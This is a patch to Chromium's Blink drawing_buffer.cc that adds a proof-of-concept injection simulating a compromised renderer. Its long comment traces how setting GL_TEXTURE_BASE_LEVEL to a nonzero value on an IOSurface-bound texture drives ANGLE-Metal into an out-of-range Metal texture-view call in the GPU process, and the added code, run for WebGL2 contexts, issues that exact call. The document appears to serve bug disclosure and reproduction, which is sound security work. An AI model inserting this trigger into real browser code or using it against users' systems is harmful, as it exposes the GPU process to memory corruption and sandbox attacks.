diff --git a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
index 3f67b22c3308e..10aa65fa33d43 100644
--- a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
+++ b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
@@ -2105,6 +2105,52 @@ scoped_refptr<DrawingBuffer::ColorBuffer> DrawingBuffer::CreateColorBuffer(
   color_buffer->BeginAccess(gpu::SyncToken(), /*readonly=*/false);
   gl_->BindTexture(si_texture_target, color_buffer->texture_id());
 
+  // ---------------------------------------------------------------------------
+  // POC INJECTION (compromised-renderer simulation, macOS / ANGLE-Metal):
+  //
+  // At this point in the GPU process, the color buffer's GL texture was created
+  // by CreateAndTexStorage2DSharedImageCHROMIUM and BeginAccess() above issued
+  // BeginSharedImageAccessDirectCHROMIUM, which on macOS (IOSurfaceImageBacking)
+  // calls eglBindTexImage() on a 1-mip IOSurface pbuffer. Inside ANGLE-Metal
+  // this lands in TextureMtl::bindTexImage(), setting mBoundSurface and a
+  // 1-mip mNativeTextureStorage with baseGLLevel=0.
+  //
+  // The texture is *not* immutable (ProduceGLTexturePassthrough only does
+  // glGenTextures + filter params), so getEffectiveBaseLevel() is unclamped.
+  //
+  // Sending TexParameteri(GL_TEXTURE_BASE_LEVEL, N>0) now drives ANGLE-Metal
+  // through:
+  //   TextureMtl::setBaseLevel
+  //     -> onBaseMaxLevelsChanged (isImmutableOrPBuffer()==true via mBoundSurface)
+  //       -> createViewFromBaseToMaxLevel()
+  //         -> createMipsView(N, 1)
+  //           -> [MTLTexture newTextureViewWithPixelFormat:...
+  //                                                levels:NSMakeRange(N,1)
+  //                                                slices:NSMakeRange(0,1)]
+  // on a parent with mipmapLevelCount==1 — out-of-range NSRange => Metal UB
+  // in the GPU process.
+  //
+  // si_texture_target is GL_TEXTURE_2D on ANGLE-Metal
+  // (gpu::GetTextureTargetForIOSurfaces()), so ANGLE ES3 validation accepts a
+  // non-zero base level.
+  //
+  // A real compromised renderer would emit these same four GLES2 commands
+  // (cmd 546, BeginSharedImageAccessDirectCHROMIUM, BindTexture, TexParameteri)
+  // by writing them directly into the command buffer.
+  // ---------------------------------------------------------------------------
+  if (webgl_version_ == Platform::kWebGL2ContextType) {
+    LOG(ERROR) << "[POC] Sending TexParameteri(GL_TEXTURE_BASE_LEVEL, 5) on "
+               << "IOSurface-pbuffer-bound SharedImage texture, target=0x"
+               << std::hex << si_texture_target << " id="
+               << std::dec << color_buffer->texture_id();
+    gl_->TexParameteri(si_texture_target, GL_TEXTURE_BASE_LEVEL, 5);
+    gl_->Flush();
+    // Reset to 0 so the back buffer remains usable for the rest of WebGL init;
+    // the bad Metal call has already been issued synchronously inside the GPU
+    // process during the TexParameteri above.
+    gl_->TexParameteri(si_texture_target, GL_TEXTURE_BASE_LEVEL, 0);
+  }
+
   // Clear the alpha channel if RGB emulation is required.
   if (DefaultBufferRequiresAlphaChannelToBePreserved()) {
     GLuint fbo = 0;